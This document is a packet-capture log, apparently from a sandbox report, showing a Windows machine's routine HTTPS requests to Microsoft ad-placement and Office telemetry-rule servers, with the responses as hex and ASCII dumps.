2024-11-27 23:19:17 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2937 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: ncDpmo/cMuKv/pnP814gplasaMI1+Ds5zi95vcbO/6n5PssCBDI4KxJdFARoyUzNgAb3Y9ezpZeZxtgv9annXukQKLcNNdf4Deuch9AEh3bWx3rubmwePBSrIq0+hcBgEBD95ya+a9yDpQZ9NchLOO+kRGkLBBzHwqULMBwH1lwbJTNpOe+R036kedts9TlV+svSX8W3u0tJxxHS7MKGlZbwveJuPUb7boil+2FXvCbck2iKjIPcgirmXfQwJWWZYt3hpfM8v8JxQNf+vnnUxExZR12U4ywoXe81Ub8dCorfrz6I+uw3se14vI1B+krgXogYBKQZnT6a3eatOqIOqQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:16 GMT Connection: close
2024-11-27 23:19:17 UTC	2937	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49716	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:17 UTC	2594	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231914Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=6928bcdc8abd4ebd96eab9c1e7406ddb&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-338388&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p= Cache-Control: no-cache MS-CV: gd+DFRV7DkGoJitD.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 23:19:17 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 3892 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: lZBZOx0mX47HaWiIPVpsc8Iv/zmj38pgSRrQ9zrLfzPqbPegzfJGw0YIk+c4lS1gzjtBbBOjEPqp9ItdsvqJN9NJyaZxxDYgTFZVNg3P7O1RQ7QKVPrAmaD87egKV0gvU0p8v4NrHd9L/IsNddX6s2HOO829YrOT/8yC43AgzfHdB3Ll89cftHzjxhrfTTzY++nitW7NFR69jTPa8fpTjtM8+HlmLSjcgbAlMh7Idcbk0m5zS0jdXd4QRzt4O4UA3zG2W+c74yAYhFEiw818brrml0RTXk9fsTkwKPQBLwp+yMKsep65yNvtbQsUPKEOGn0oD4LHdDJAtjVm2OjOww== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:16 GMT Connection: close
2024-11-27 23:19:17 UTC	3892	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49715	20.31.169.57	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:17 UTC	2604	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241127T231914Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5cb859d3bb2547519af8f68bfdcdfee8&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=604381&metered=false&nettype=ethernet&npid=sc-338387&oemName=figysj%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&sc-mode=0&scmid=Public&smBiosDm=figysj20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=604381&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVn6XcywMKzESLTp8a1wABtPIgH6KdsDLjZ8hpGyDxS7xMSGavP2IDDNkzCdlQIDYoGUClSm3k2AbLdxDEnd7yc057d4c4jEbEk6LSz35MZLAQevgKvYq+AmXsm8OLDPIWMxdrJCQwwBdXbZSGDuozqZQXuqN0lEHiJyxczZLKnH5Py0UDzQTr2S4sjknSwxiN/AGnaIouETb7kyQi7Zw+mo+9B8SAiOy9sVWtMK3g9TSOrI6xH552g0cag0HirGSfXtMBasAvh4L0lbQG+mCrF6FQhOZVW1kJjqgjzI/DmOolxgF3xqk4+FbrarE7x9M362oopTg4c6M81QpkZNXMoQZgAAECZPbvdwOyZvoOrsV6mxhuqwAXM3skEsVWs4ZkOruZ6fiQyNkVA01BvnMTW3dfbyWgpopb7pMpC1UXFsl2nUHbGz56QH1/AKtIhfooHsIJA/XCgI90HDxUKhGKHPa8Pm5+BAJdtwfolU8SPVnhj/yiubalrIis4ZguiohXU6Q3cfQmGWo172cyc9J7ewGoSXQ90gjbVflW55beYtn3wid5lVaSxqNQn1ddzUO5we5KUgpxjbptJW8wGFbuh6Sk4zf+e4H9bAMXUHq1iys2TTpZeTLvBmiBCW6GetQRMgzo2rL2WMM9+1ng0gG4MF2HKnj3RSEwl44c77ANowU3tfaGFvqeCNHwSEsGmTm6+Td5fC8IhB/LVucgjAoVe23Zl5FA1/4wyc34mxP4GbKJUbbZ3XnocEtR6FyPiCHjS77PU3noNm2TZwA77bMZ/WD4v+9Dj7rikce9F+0iSTEJTA7HBC0+VTUu1vMILWEOyZ8ZF28Up7U/PWmDPmPKCzkMEVXucRoqFfim2opFM6J3FvDJCrX00fRYTmd+D/NqZblQGJFz4f5iapQrF20hnfO5zKoGyNhJ8eYFozzm49BNsH1JAm19gB&p= Cache-Control: no-cache MS-CV: gd+DFRV7DkGoJitD.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-27 23:19:18 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23592 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: nNodytQW6X09yayQj4aEVQnV+y4ThYCE14wVGFYuZl6hO6K/ksh9ZKfkNBF5wb9LDfabhmNnOhAMWyodXvNGplxi/jYWj+Md14uhe1znAON9qgeGM0cHkWMl8mQQJCFM+FhSvuFuotXORavaGkx5F8kzGRaldyb0wBlk1ZSM6sVGCjPb287awhlnJ3DlVkDZmV7aVS7vHtysWKrGe2AkH28foj1vSbn8x5zEqu27J8NSbsBi48D+fAKv508dpjuom2lV3xtxQr3R/Kx+ivSQfHQq674zkuf9T8H8e5l3OPTooI8EXM9rMD3XD7tnwGGVYwRVRCnj6qOw56lS87SG5g== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 27 Nov 2024 23:19:16 GMT Connection: close
2024-11-27 23:19:18 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-27 23:19:18 UTC	8023	IN	Data Raw: 5c 75 30 30 32 36 64 65 76 69 63 65 49 64 3d 36 39 36 36 35 35 35 33 32 30 39 31 32 37 33 35 5c 5c 75 30 30 32 36 61 6e 69 64 3d 44 41 31 38 43 38 38 32 35 33 35 36 42 41 43 34 45 37 42 32 33 30 36 36 46 46 46 46 46 46 46 46 5c 22 2c 5c 22 65 69 64 5c 22 3a 7b 5c 22 74 5c 22 3a 5c 22 74 78 74 5c 22 2c 5c 22 74 78 5c 22 3a 5c 22 55 32 56 68 63 6d 4e 6f 51 57 51 6a 4f 44 51 34 4e 6a 6b 78 4d 54 41 34 4d 6a 59 34 4d 6a 51 6a 4d 6a 4d 7a 4e 6a 59 32 4f 44 4d 32 4f 44 45 77 4e 54 67 78 4e 67 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 Data Ascii: \u0026deviceId=6966555320912735\\u0026anid=DA18C8825356BAC4E7B23066FFFFFFFF\",\"eid\":{\"t\":\"txt\",\"tx\":\"U2VhcmNoQWQjODQ4NjkxMTA4MjY4MjQjMjMzNjY2ODM2ODEwNTgxNg==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:19 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:19 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:19 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231919Z-174f7845968px8v7hC1EWR08ng0000000xvg00000000a08x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:19 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-27 23:19:19 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-27 23:19:19 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-27 23:19:20 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: 